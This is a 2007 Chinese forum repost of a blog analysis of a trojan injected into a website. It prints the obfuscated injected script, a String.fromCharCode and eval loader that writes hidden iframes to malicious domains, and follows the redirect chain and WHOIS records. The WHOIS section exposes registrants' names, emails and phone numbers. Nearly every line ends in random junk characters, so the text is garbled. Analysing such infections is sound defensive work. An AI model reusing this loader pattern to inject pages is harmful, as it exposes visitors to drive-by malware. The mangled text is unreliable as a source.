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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, F=Z|Ji#  
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http://www.areway.cn/?p=175 -uqJ~gD  
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周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: '{QbjG%<P  
          4Wk/^*?  
<script>t=’60,105,102,114,97,109,101, #q9jFW8  
32,115,114,99,61,104,116,116,112,58,47,47, zPWG^  
102,114,101,101,46,117,45,117,117,117,46,99, >1T=Aw2Z.  
110,47,101,114,114,111,114,46,104,116,109, C]K@SN$   
32,119,105,100,116,104,61,49,48,48,32,104, 2TmQaDu%b  
101,105,103,104,116,61,48,62,60,47,105,102, {jcrTjmxe  
114,97,109,101,62′; [mJc c  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> L 9Z:>i?  
                                                                                                  L qMH]W  
<script>t=’60,105,102,114,97,109,101,32,115, ]MfT5#(6h  
114,99,61,104,116,116,112,58,47,47,102,114, PZKKbg2 S  
101,101,46,117,45,117,117,117,46,99,110,47, ox{)O/aj  
101,114,114,111,114,46,104,116,109,32,119, jAfUz7@  
105,100,116,104,61,49,48,48,32,104,101,105, AVGb;)x#  
103,104,116,61,48,62,60,47,105,102,114,97, {1'XS,2  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); iyc}a6g  
document.write(t);</script> `22F@JYN  
                                                                                                  ;yqJEj_m(  
<html xmlns=” =S4_^UY;  
http://www.w3.org/1999/xhtml j5|PQOK  
“> D0v!fF ~  
<head> 0rxlN [Yp  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> HY~\e|o  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> dMCV !$  
<title>首页 - 爱生活家庭网 5Z ] `n  
                                                                                                                                                    0yfmQ=,X  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 &7,Kv0j}  
转换字符串后的大概内容是(谁点击后果自付): CSRcTxH  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… z ,87;4-  
                                                                                                                                  }N#jA yp!  
查询玉米u-uuu.cn的详细信息: s7tNAj bgD  
Domain Name: u-uuu.cn 15 x~[?!  
ROID: 20070901s10001s64972306-cn d2&sl(O  
Domain Status: ok `][~0\Y3m  
Registrant Organization: 王雷 J )oa:Q  
Registrant Name: 王雷 cT`x,2  
Administrative Email: czlovexs@126.com (zwxrOS  
Sponsoring Registrar: 北京万网志成科技有限公司 D@rOX(m  
Name Server:ns.yovole.com eY"y[  
Name Server:ns1.yovole.com `E8m> q Ss  
Registration Date: 2007-09-01 17:54 eVjr/nm  
Expiration Date: 2008-09-01 17:54 2BS2$#c>  
最后PING了一下地址 都没有什么…. S)C =Q~&  
                                                                                                T12?'JL^r  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. n9<QSX&~<  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> e]!C Aj7uS  
<script language=”javascript” src=” P+:FiVj@~  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script &1ASWllD  
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这个玉米应该有可能是木马作者的: T#DJQ"$  
foafau.info的详细信息: mLd=+&M  
Access to INFO WHOIS information is provided to assist persons in UtIwrR[  
determining the contents of a domain name registration record in the QzT)PtX  
Afilias registry database. The data in this record is provided by ;-~ Wfh+  
Afilias Limited for informational purposes only, and Afilias does not 'vgw>\X(  
guarantee its accuracy.  This service is intended only for query-based ?y>xC|kt  
access. You agree that you will use this data only for lawful purposes Se9I1~mX  
and that, under no circumstances will you use this data to: (a) allow, :aV(i.LW  
enable, or otherwise support the transmission by e-mail, telephone, or O _yJR  
facsimile of mass unsolicited, commercial advertising or solicitations 9IIQon  
to entities other than the data recipient’s own existing customers; or <:-|>R".  
(b) enable high volume, automated, electronic processes that send @2v L'6  
queries or data to the systems of Registry Operator, a Registrar, or sOa`Tk  
Afilias except as reasonably necessary to register domain names or #[ vmS  
modify existing registrations. All rights reserved. Afilias reserves r50}j  
the right to modify these terms at any time. By submitting this query, >k<.bEx(A  
you agree to abide by this policy. @ eqVu g  
Domain ID:D22418703-LRMS Us+|L|/  
Domain Name:FOAFAU.INFO rV<yM$IA  
Created On:20-Nov-2007 16:05:42 UTC 2P`hdg  
Last Updated On:20-Nov-2007 16:05:44 UTC 36` aG Y  
Expiration Date:20-Nov-2008 16:05:42 UTC ^2mmgN   
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) /0s1q  
Status:CLIENT DELETE PROHIBITED x/ {  
Status:CLIENT RENEW PROHIBITED BT: =  
Status:CLIENT TRANSFER PROHIBITED 8c`g{ *z  
Status:CLIENT UPDATE PROHIBITED AFGWlC#`  
Status:TRANSFER PROHIBITED S) Sv4Qm  
Registrant ID:GODA-040110615 .t.H(Q9  
Registrant Name:liu hong 3;Kv9i<~LE  
Registrant Organization: ,)hUL/r6  
Registrant Street1:beijing uhSRl~tn  
Registrant Street2: j2}C  
Registrant Street3: {wih)XNY  
Registrant City:beijing =>-:o:Cu{  
Registrant State/Province: j +\I4oFN  
Registrant Postal Code:100000 ?w`uv9NUJ8  
Registrant Country:CN \`;FL\1+W  
Registrant Phone:+86.860108888777 |y)Rlb# d  
Registrant Phone Ext.: K{B[(](  
Registrant FAX: DNcf2_m  
Registrant FAX Ext.: v AP)(I  
Registrant Email:bbbshiji@163.com #WwQ^6ESc  
Admin ID:GODA-240110615 d&&^_0O  
Admin Name:liu hong 4ZrX= e,  
Admin Organization: hC4##pAa  
Admin Street1:beijing rbS67--]  
Admin Street2: 8G`fSac`  
Admin Street3: }BlVLf%C  
Admin City:beijing u7ZSs-LuHw  
Admin State/Province: wo5"f}vd#  
Admin Postal Code:100000 v~[=|_{  
Admin Country:CN v3x_8n$C9  
Admin Phone:+86.860108888777 dqwAQ-x  
Admin Phone Ext.: Z)<ljW  
Admin FAX: _Isju S  
Admin FAX Ext.: ;f#%0W{":  
Admin Email:bbbshiji@163.com L,*2t JcC<  
Billing ID:GODA-340110615 tPIT+1.]z  
Billing Name:liu hong FU kO$jnO  
Billing Organization: OE]z C  
Billing Street1:beijing NVU@m+m~  
Billing Street2: 7pH(_-TF  
Billing Street3: \-a^8{.^E  
Billing City:beijing vz #VW  
Billing State/Province: `of 5h* k  
Billing Postal Code:100000 lCLz!k2di  
Billing Country:CN k"Y9Kc0XoU  
Billing Phone:+86.860108888777 7tP?([o%F  
Billing Phone Ext.: 9G_bM(q'^2  
Billing FAX: 8VQJUwf;  
Billing FAX Ext.: Gu}|CFL\  
Billing Email:bbbshiji@163.com /.9j$iK#  
Tech ID:GODA-140110615  ;)s$Et%  
Tech Name:liu hong 3?iRf6;n  
Tech Organization: E;.<'t>  
Tech Street1:beijing ~KHGh29  
Tech Street2: ,#hS#?t   
Tech Street3: ZgQ4~s  
Tech City:beijing +kP)T(6  
Tech State/Province: #|k;nFJ  
Tech Postal Code:100000 qL.1N~$2  
Tech Country:CN VC5LxA0{  
Tech Phone:+86.860108888777 j9)P3=s  
Tech Phone Ext.: FivgOa  
Tech FAX: 6d&dB  
Tech FAX Ext.: 3`uv/O2~i  
Tech Email:bbbshiji@163.com secD ` ]  
Name Server:NS27.DOMAINCONTROL.COM _TfG-Ae  
Name Server:NS28.DOMAINCONTROL.COM U\a.'K50F  
Name Server: jq:FDyOAW  
Name Server: F$QN>wPpM  
Name Server: B{$4s8XU  
Name Server: j&,,~AZm  
Name Server: A;7p  
Name Server: 0O<g) %Vz>  
Name Server: xpCzx=n3.m  
Name Server: +EjH9;gx  
Name Server: =cI -<0QSn  
Name Server: 0h/gqlTK1  
Name Server: T;K@3]FbX  
                                                                                                          E/2kX3}  
接着下载每个文件里面的代码: O32p8AxEz  
一步一步看.. 'Vq <;.A  
Dg3S n|!f  
RAYDl=}  
f1w&D ]|S+  
rOQ@(aUAZ  
&6<>hqR^  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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